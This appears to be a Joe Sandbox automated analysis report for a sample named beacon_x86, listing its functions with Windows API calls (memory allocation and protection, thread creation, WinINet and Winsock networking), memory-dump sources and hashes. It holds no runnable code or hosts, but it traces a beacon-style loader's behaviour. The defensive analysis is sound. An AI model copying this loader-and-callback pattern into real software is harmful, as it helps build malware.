Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

htonl.WS2_32(00D9F838), ref: 00D67EA1
recvfrom.WS2_32(?,00D9F838,000FFFFC,00000000,?,?), ref: 00D67ED0
WSAGetLastError.WS2_32 ref: 00D67EDB

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AllocateErrorHeapLast_mallochtonlrecvfrom
String ID:
API String ID: 987280018-0
Opcode ID: 07a40dc80aa8edb40906ed7ee7b59ab050936193d8c85fccd95526aa025e4969
Instruction ID: 3f86008b5b4c5539288eec971eb8b031d008c3f3e2dc30b47be9571463b9e50c
Opcode Fuzzy Hash: 07a40dc80aa8edb40906ed7ee7b59ab050936193d8c85fccd95526aa025e4969
Instruction Fuzzy Hash: 1641E271808208EFEB219FA4DC44FAAB7F5EF44328F24426AF511E22A0D770AD45CB71

Function 00D6031C Relevance: 7.8, APIs: 5, Instructions: 308
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671C2
Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671D2

_malloc.LIBCMT ref: 00D603B2

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

Part of subcall function 00D6BB1C: __time64.LIBCMT ref: 00D6BB28
Part of subcall function 00D6BB1C: _malloc.LIBCMT ref: 00D6BB71
Part of subcall function 00D6BB1C: _memset.LIBCMT ref: 00D6BB8F
Part of subcall function 00D6BB1C: _strtok.LIBCMT ref: 00D6BBB4
Part of subcall function 00D6BB1C: _strtok.LIBCMT ref: 00D6BBE6

Part of subcall function 00D64C3E: __time64.LIBCMT ref: 00D64C4B

Part of subcall function 00D6DA37: _malloc.LIBCMT ref: 00D6DA5E
Part of subcall function 00D6DA37: _memset.LIBCMT ref: 00D6DA8C

Part of subcall function 00D6DA37: _realloc.LIBCMT ref: 00D6DA6D

_malloc.LIBCMT ref: 00D60486
__snprintf.LIBCMT ref: 00D604E8
__snprintf.LIBCMT ref: 00D60507
__snprintf.LIBCMT ref: 00D60525

Part of subcall function 00D6CE47: Sleep.KERNEL32(000003E8,00000000,00000000,00000080,00D606C4), ref: 00D6CE84
Part of subcall function 00D6CE47: RtlExitUserThread.NTDLL(00000000,00000000,00000000,00000080,00D606C4), ref: 00D6CE8E
Part of subcall function 00D6CE47: WaitForSingleObject.KERNEL32(00000000,00000000,00000080,00D606C4), ref: 00D6CEAF

Part of subcall function 00D6173C: InternetOpenA.WININET(?,00000003,00000000,00000000,00000000), ref: 00D617C2
Part of subcall function 00D6173C: InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00D9EFC4), ref: 00D61809

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc$__snprintf$Internet__time64_memset_strtok$AllocateConnectExitHeapObjectOpenSingleSleepThreadUserWait_realloc
String ID:
API String ID: 2723191398-0
Opcode ID: 4d87c748305ec9c4fee3743e30dd96e15338379b32e7116747cff0bdf3e8d228
Instruction ID: 52c5faac091d1ac11094eeaf512a0cccbf09f1261205c6538164fd06fb80db18
Opcode Fuzzy Hash: 4d87c748305ec9c4fee3743e30dd96e15338379b32e7116747cff0bdf3e8d228
Instruction Fuzzy Hash: 5B9105719483006BD6207B759C03B2F7BE8EF84724F14091AF588EA2D2EF75CD408AB6

Function 0040156C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00401592
VirtualProtect.KERNELBASE ref: 004015D8
CreateThread.KERNELBASE ref: 0040160C

Strings

, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: Virtual$AllocCreateProtectThread
String ID:
API String ID: 3039780055-3916222277
Opcode ID: 7116a479f18e8398ab62b384885a83961a77cbf5e6f43067b0417bc4564eeb7b
Instruction ID: e62f9da5006a8b60ac6d7aa8aa559fb842e3793d0c2f75f38c45ec490f2c7fc1
Opcode Fuzzy Hash: 7116a479f18e8398ab62b384885a83961a77cbf5e6f43067b0417bc4564eeb7b
Instruction Fuzzy Hash: FD1148B0408304AFD700AF25C48835EBFF4EB88358F40C86EE9998B391D37984098B92

Function 00D8511C Relevance: 6.1, APIs: 4, Instructions: 93
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00D85198
___sbh_alloc_block.LIBCMT ref: 00D851A4
_memset.LIBCMT ref: 00D851C5
RtlAllocateHeap.NTDLL(00000008,?,00D92A60), ref: 00D851DA

Part of subcall function 00D79641: __getptd_noexit.LIBCMT ref: 00D79641

Part of subcall function 00D7B5DA: __decode_pointer.LIBCMT ref: 00D7B5E5

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AllocateHeap___sbh_alloc_block__decode_pointer__getptd_noexit__lock_memset
String ID:
API String ID: 3771094184-0
Opcode ID: 6f402446c9fda7c28814a394659092e83d4457745665258b7121ff971ab6ad03
Instruction ID: 7a731ad8a0da64dc45584a48f7e0bd8b4c8718837b770e6dff36288635d2f8e2
Opcode Fuzzy Hash: 6f402446c9fda7c28814a394659092e83d4457745665258b7121ff971ab6ad03
Instruction Fuzzy Hash: 8221F871900B04ABCF21BF68EC84B5E77A1EB81760F288215F86D9F299E7318D408B75

Function 00401296 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 948a088ca798df2e7dce449238bcaf35f26902c4bc7ea522de66c663b67a1438
Instruction ID: 2b272e4b46966ba8deed0fafeb192a19a89914a185c4b83b395d914033f718ae
Opcode Fuzzy Hash: 948a088ca798df2e7dce449238bcaf35f26902c4bc7ea522de66c663b67a1438
Instruction Fuzzy Hash: CB3136B9A003058FCB10DF65E98075ABBF1FB44705F14853ED988A73A2E778E945CB89

Function 004013B3 Relevance: 5.1, APIs: 4, Instructions: 65stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: f5e0c9adc78a94dab72ef4a8ccb92d4597cac7524235f195ea0d1421677b0eb4
Instruction ID: 9b3cccf6e9dd94e7ac684493c2e87501ce7787e5f0140ca7f17ca5cac32b3744
Opcode Fuzzy Hash: f5e0c9adc78a94dab72ef4a8ccb92d4597cac7524235f195ea0d1421677b0eb4
Instruction Fuzzy Hash: EF2112B8A003058FCB10DF69E880659BBF0FB48705F10843ED988A73A2E774A945CB89

Function 00D61F1B Relevance: 4.6, APIs: 3, Instructions: 68networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D61E6E: WSAStartup.WS2_32(00000202,?), ref: 00D61E8F
Part of subcall function 00D61E6E: WSACleanup.WS2_32 ref: 00D61E99

WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 00D61F3F
WSAIoctl.WS2_32(00000000,4004747F,00000000,00000000,?,000005F0,?,00000000,00000000), ref: 00D61F6A
closesocket.WS2_32(00000000), ref: 00D61FA9

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CleanupIoctlSocketStartupclosesocket
String ID:
API String ID: 1100289767-0
Opcode ID: 40205f3e79af7936fb7c625739f3a144d8e9c7c9d77be54b017143f6e346c1c0
Instruction ID: 96aec82abb6b5ce3994d3ee241e2b98857468fea8fe3fe09f339dce1b8734720
Opcode Fuzzy Hash: 40205f3e79af7936fb7c625739f3a144d8e9c7c9d77be54b017143f6e346c1c0
Instruction Fuzzy Hash: 7D11E736A412187BE7208A65CC49FEB7F6DDF857A1F188022FA09D2181D775884186B0

Function 00401700 Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0040174D
ReadFile.KERNELBASE ref: 0040177D
CloseHandle.KERNEL32 ref: 0040178D

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: de8e7562ff60837e5b68acacff60a59f894b3ed398b1beaf9885a2a007807793
Instruction ID: 13578ad0072e5758c11d0cf9d06b5e6b01679b076f79182928bb53a60008478f
Opcode Fuzzy Hash: de8e7562ff60837e5b68acacff60a59f894b3ed398b1beaf9885a2a007807793
Instruction Fuzzy Hash: 811157B58083059FC700AF29C54835FBBF4EF84364F00892EE895973A2D3B989498FD6

Function 00D671BC Relevance: 4.5, APIs: 3, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D671C2

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

_malloc.LIBCMT ref: 00D671D2
_memset.LIBCMT ref: 00D671EF

Part of subcall function 00D77722: __lock.LIBCMT ref: 00D77740
Part of subcall function 00D77722: ___sbh_find_block.LIBCMT ref: 00D7774B
Part of subcall function 00D77722: ___sbh_free_block.LIBCMT ref: 00D7775A
Part of subcall function 00D77722: HeapFree.KERNEL32(00000000,?,00D925A0,0000000C,00D7988B,00000000,00D92700,0000000C,00D798C5,?,?,?,00D8519D,00000004,00D92A60,0000000C), ref: 00D7778A
Part of subcall function 00D77722: GetLastError.KERNEL32(?,00D8519D,00000004,00D92A60,0000000C,00D80868,?,?,00000000,00000000,00000000,?,00D7C749,00000001,00000214), ref: 00D7779B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Heap_malloc$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock_memset
String ID:
API String ID: 1561657895-0
Opcode ID: c8e9cba292c0deaefcb227626c1a5d494f7b07ad7ba5e871b60a28f1e5f06bb6
Instruction ID: f84ccb30253143ec6081c95843bb62e7cb1e717d146f60e916add463210dfdb0
Opcode Fuzzy Hash: c8e9cba292c0deaefcb227626c1a5d494f7b07ad7ba5e871b60a28f1e5f06bb6
Instruction Fuzzy Hash: 1DE0923B60811937CA263A69DC12F9F2E1ACF867B4F248429F90C5A141EE11890152F5

Function 004017AC Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004017BB
Sleep.KERNELBASE ref: 004017C9

Part of subcall function 00401700: CreateFileA.KERNELBASE ref: 0040174D
Part of subcall function 00401700: ReadFile.KERNELBASE ref: 0040177D
Part of subcall function 00401700: CloseHandle.KERNEL32 ref: 0040178D

Strings

(0@, xrefs: 004017ED

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: File$CloseCreateHandleReadSleepmalloc
String ID: (0@
API String ID: 4248373497-1619376425
Opcode ID: 6845ea8dd48fab404a2061b438f8f23c871c7f7415dcaaf50ff1d80553ea92f3
Instruction ID: c18dacc817dc4ff119a69da04305d567d0d6ae5b32f5fd65705d0832059cd44e
Opcode Fuzzy Hash: 6845ea8dd48fab404a2061b438f8f23c871c7f7415dcaaf50ff1d80553ea92f3
Instruction Fuzzy Hash: 9AF0F8B4A053009BC700EF7ADA8551ABBE8BB08345F41483DA684E7391D678D9008B1A

Function 00D6173C Relevance: 3.1, APIs: 2, Instructions: 115networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

InternetOpenA.WININET(?,00000003,00000000,00000000,00000000), ref: 00D617C2
InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00D9EFC4), ref: 00D61809

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Internet$ConnectOpen
String ID:
API String ID: 2790792615-0
Opcode ID: 4600c0c81b65e5040c9b2ba6ee14ac2c7018b4e2d675a474286dfd535db31956
Instruction ID: a55b671e104d52d6d2f3eb1a42486f73b916a55b56222a3a6c80350e0d67d988
Opcode Fuzzy Hash: 4600c0c81b65e5040c9b2ba6ee14ac2c7018b4e2d675a474286dfd535db31956
Instruction Fuzzy Hash: 6731C375580344BBEA356B26AC1BF6F3F6DEB85B20F18001BF600D91E1DFB589809A75

Function 00D61E6E Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00D61E8F
WSACleanup.WS2_32 ref: 00D61E99

Part of subcall function 00D77EDE: _doexit.LIBCMT ref: 00D77EEA

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CleanupStartup_doexit
String ID:
API String ID: 3413891862-0
Opcode ID: 602fc413920f090239d4881da17fb1f8cebedb0955f0e248cc94b0841a861675
Instruction ID: 7a3a98242a292084aa6e01ee30bdcd71bf48f2f2e71b4687c9cc9cf9fe51b4a1
Opcode Fuzzy Hash: 602fc413920f090239d4881da17fb1f8cebedb0955f0e248cc94b0841a861675
Instruction Fuzzy Hash: 38016D71D4431497D724AF79BC167587BE8BB09B12F14012BF604CA2D1DB7482C1CBB9

Function 00D6FCD9 Relevance: 1.8, APIs: 1, Instructions: 257COMMONLIBRARYCODE

Download Yara Rule

APIs

_calloc.LIBCMT ref: 00D6FD3B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: f1a631400b695e4e9ebeb96205b47cc74500cf8837b1979b1f339c8b83b988ec
Instruction ID: 2ee62540e63d471a0d78a538b2217a667209576defd476b2bb0659c06fe253b9
Opcode Fuzzy Hash: f1a631400b695e4e9ebeb96205b47cc74500cf8837b1979b1f339c8b83b988ec
Instruction Fuzzy Hash: CBA16BB1900608EFDF219F95DC45EEEBBB6FF89300F108159F545AA2A1E3729940DF20

Function 00D2A33E Relevance: 1.6, APIs: 1, Instructions: 132libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,00D29E52,75920A60,?,?,?,?), ref: 00D2A3A9

Memory Dump Source

Source File: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d20000_beacon_x86.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 921837ef3eb67de63abac7cb5666c735ab802cdd6b7f1449a49ae73ad87c3da8
Instruction ID: dd5ec0ab6c139edab0c53bdb76bc107ec0d607d75d14ca60757d06b7ce583d9e
Opcode Fuzzy Hash: 921837ef3eb67de63abac7cb5666c735ab802cdd6b7f1449a49ae73ad87c3da8
Instruction Fuzzy Hash: D251B775A0021ADFCF08CF88D894AAEB7B2FF88304F148199E9156B351D734AE51CFA5

Function 00D69802 Relevance: 1.6, APIs: 1, Instructions: 70memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapDestroy.KERNEL32(?), ref: 00D69874

Part of subcall function 00D6B67F: _memset.LIBCMT ref: 00D6B69D

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: DestroyHeap_memset
String ID:
API String ID: 3970643317-0
Opcode ID: d47c14b22fe64c818185b55c337edd60bc13cbb03a6c452a0cd28951b1408277
Instruction ID: 07779b6de0a3f1f53af445a77ca44f6eab8bd48dec0b99aa5d7ce9bc855622d3
Opcode Fuzzy Hash: d47c14b22fe64c818185b55c337edd60bc13cbb03a6c452a0cd28951b1408277
Instruction Fuzzy Hash: 6911C4328102059BDB24EB68D865EBEB76CDF23324F184026E44097155DB31ED81E6B0

Function 00D64657 Relevance: 1.5, APIs: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D64664

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

Part of subcall function 00D6DA37: _malloc.LIBCMT ref: 00D6DA5E
Part of subcall function 00D6DA37: _memset.LIBCMT ref: 00D6DA8C

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 45f6754b8125ea83e4ecc507940837133310b93bcecf199b38bdf54ccdfe09f1
Instruction ID: 6bfce6c982c1f7bfdc1da07806481ff19b4155fa932617db4322f7484c3fbd16
Opcode Fuzzy Hash: 45f6754b8125ea83e4ecc507940837133310b93bcecf199b38bdf54ccdfe09f1
Instruction Fuzzy Hash: DFF0A071E44361EBE720BFA0AC42F8A7BA5EF05720F02081BF418DB2C2DA60088187B5

Function 00D72EF7 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D72EFE

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 770a5737fa1c2baebb51fc1048b2bd86ee1b0969124dc220f3e5ed95a16c1eaa
Instruction ID: 0ff5f4701e55d27c25babaa7c6418e27156539a1d97ae2de7537121c3109e276
Opcode Fuzzy Hash: 770a5737fa1c2baebb51fc1048b2bd86ee1b0969124dc220f3e5ed95a16c1eaa
Instruction Fuzzy Hash: 9DE04F7220C6014FDB288F2DF841616B7F1DB84320B64CE3EE09EC7384EA34D4818B24

Function 00D2A99E Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,00000000,00000020,00000004,00000000), ref: 00D2A9C8

Memory Dump Source

Source File: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d20000_beacon_x86.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c8269323ef5a83853f531880be9aa38fe7d1b7683f8a152e64d76accc3a7c159
Instruction ID: 8d11adec65b69991b54f6657dbdeb0756e1fd4edd963f9c2963b77854e7b9189
Opcode Fuzzy Hash: c8269323ef5a83853f531880be9aa38fe7d1b7683f8a152e64d76accc3a7c159
Instruction Fuzzy Hash: B9E01A3150060DEBDB18CE49E848BAA33AAEB48715F458159FD1846180D771EE90CFB2

Function 00D7968A Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00D793C6,?), ref: 00D7969F

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 8a49b8f029fa038cd20e7c0d831e851941ecee2e0192c253f658302655be86d5
Instruction ID: a35e2ed5f6f25b585451f9ec5e7325d9e1e044da5402d224d0d641135ff4bf7b
Opcode Fuzzy Hash: 8a49b8f029fa038cd20e7c0d831e851941ecee2e0192c253f658302655be86d5
Instruction Fuzzy Hash: 7BD05E725503045FEB106F757C08B263BDCD784395F148536B94CCA260F774D540C624

Function 00D2A89E Relevance: 1.3, APIs: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00D29DE6,?,00D29DE6,75920A60), ref: 00D2A98D

Memory Dump Source

Source File: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d20000_beacon_x86.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 06db9e082881e3a7de2518e710500035fed678b226e83921418e753830c2cfca
Instruction ID: 73b0acd5ecc917024899f9c454225b579d13465c1c4a18c4341a5eff39498045
Opcode Fuzzy Hash: 06db9e082881e3a7de2518e710500035fed678b226e83921418e753830c2cfca
Instruction Fuzzy Hash: 2831DC70A00109AFCB08CF99D894BAEB7B1FF88714F15C159E959AB354D730EA91CF91

Function 00D644A0 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00D644FB

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 630afa755b89f7b2e6cb0125680828b0c2d97d48853a7098bfa46fdba1929345
Instruction ID: 152a9857a4b91f93e1044833a745cc6512d99e483c2258ed95e7c9fb90902414
Opcode Fuzzy Hash: 630afa755b89f7b2e6cb0125680828b0c2d97d48853a7098bfa46fdba1929345
Instruction Fuzzy Hash: 17F0FE31610306EBEB149F66FC0AB287BA5EF44314F08451BE915C9261DB76D4908A76

Function 004029E0 Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401805: GetTickCount.KERNEL32 ref: 0040180B
Part of subcall function 00401805: sprintf.MSVCRT ref: 00401875
Part of subcall function 00401805: CreateThread.KERNELBASE ref: 004018A9

Sleep.KERNELBASE(?,00401386,?,0000165A,00401386), ref: 00402A09

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: CountCreateSleepThreadTicksprintf
String ID:
API String ID: 2384577035-0
Opcode ID: edd1f4d74f08d7a86e4d3b4e7046a0930fe99e0aed8f677c13492f49e07a44d4
Instruction ID: afb1948537415933b36a4db080653cee2dd393a0534abb60b1e029c31af3872c
Opcode Fuzzy Hash: edd1f4d74f08d7a86e4d3b4e7046a0930fe99e0aed8f677c13492f49e07a44d4
Instruction Fuzzy Hash: 90D05EB1408704AAC6003FB5C90A71ABAA8AB05351F01063CF9C1251E1DF7950108B7B

Non-executed Functions

Function 00D64225 Relevance: 15.2, APIs: 10, Instructions: 172filetimeCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D64237

